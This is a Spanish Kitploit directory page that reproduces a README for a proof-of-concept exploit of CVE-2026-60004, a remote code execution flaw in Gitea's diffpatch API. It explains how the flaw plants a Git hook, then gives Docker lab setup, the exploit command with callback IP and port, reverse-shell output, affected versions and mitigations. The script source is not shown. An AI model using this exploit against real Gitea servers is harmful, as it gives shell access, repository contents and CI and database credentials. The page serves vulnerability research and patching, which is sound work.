Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-60004 — Gitea diffpatch RCE | Kitploit
Herramientas/GitHubGitHub/eqstlab/cve-2026-60004
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHubeqstlab/cve-2026-60004

CVE-2026-60004

Gitea diffpatch RCE

Ver Repositorio
16hace 23 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


Resumen

CVE-2026-60004 es una vulnerabilidad de Ejecución Remota de Código (RCE) en Gitea. La API diffpatch aplica un parche suministrado con git apply --cached, que solo debería tocar el índice y nunca escribir archivos en el disco. Al enviar el mismo parche dos veces, un atacante fuerza una colisión add/add que desencadena el mecanismo de fusión de tres vías (-3) de Git. Esa ruta ignora --cached y extrae el archivo al árbol de trabajo. Debido a que el clon temporal es bare, la raíz de su árbol de trabajo es $GIT_DIR. Un parche que crea un hooks/post-index-change ejecutable, por tanto, coloca un hook de Git activo, que Git ejecuta automáticamente en la siguiente actualización del índice — ejecutando comandos como la cuenta de servicio de Gitea. El endpoint requiere acceso de escritura al repositorio, pero el registro está habilitado por defecto, por lo que cualquier usuario que pueda registrarse y crear un repositorio puede alcanzarlo.

Descargar herramienta

Versiones Afectadas

CategoríaVersión
VulnerableGitea 1.17 ≤ versión ≤ 1.27.0
CorregidaGitea 1.27.1 o posterior

Impacto

  • Ejecución Remota de Código como la cuenta de servicio de Gitea (git)
  • Acceso a todos los repositorios alojados, secretos de CI y credenciales de base de datos

Entorno

Construye y ejecuta el entorno vulnerable de Gitea. El registro se deja abierto y el servidor incluye Git 2.32+, que habilita el mecanismo de respaldo -3 del que depende el ataque.

root@kitploit:~
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
PrecondiciónEstado en este laboratorio
Gitea 1.17 – 1.27.01.27.0
Git 2.32+ en el servidor (habilita -3)2.54
Registro abiertohabilitado (por defecto)
Acceso de escritura al repositoriomediante cuenta auto-registrada

PoC

El exploit está totalmente automatizado por gitea_exploit.py. Dada una cuenta que pueda crear un repositorio, crea el repositorio objetivo, envía el mismo parche repetidamente hasta que el mecanismo de respaldo -3 de Git se activa, y captura la reverse shell con un listener integrado — sin configuración manual, creación de parches ni cálculos de blob-hash necesarios.

root@kitploit:~
# python3 gitea_exploit.py <ip:puerto objetivo> <ip de callback> [puerto de callback]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

El mecanismo de respaldo -3 solo se activa en ciertas ventanas de tiempo, por lo que el script itera crear → enviar → enviar hasta capturar (25 intentos por defecto). Cuando un envío se bloquea, el hook se ha activado y el listener te deja en una shell como git:

root@kitploit:~
[*] intento  3/25 -> envío#1 201, envío#2 timeout   <- BLOQUEADO (¡activado!)
[+] shell desde 172.17.0.2:53344 -- escribe comandos, Ctrl-C para salir
uid=1000(git) gid=1000(git) groups=1000(git)

Opciones:

  • --no-listen — captura la shell con tu propio nc externo en lugar del listener integrado
  • --user / --pw / --repo / --branch — sobrescribe la cuenta y el repositorio objetivo por defecto

Mitigación

  • Actualiza Gitea a 1.27.1 o posterior
  • Desactiva el registro abierto si no es necesario (DISABLE_REGISTRATION=true)
  • Restringe quién puede acceder a la instancia y crear repositorios

Análisis

  • KR: ¡Próximamente!
  • EN: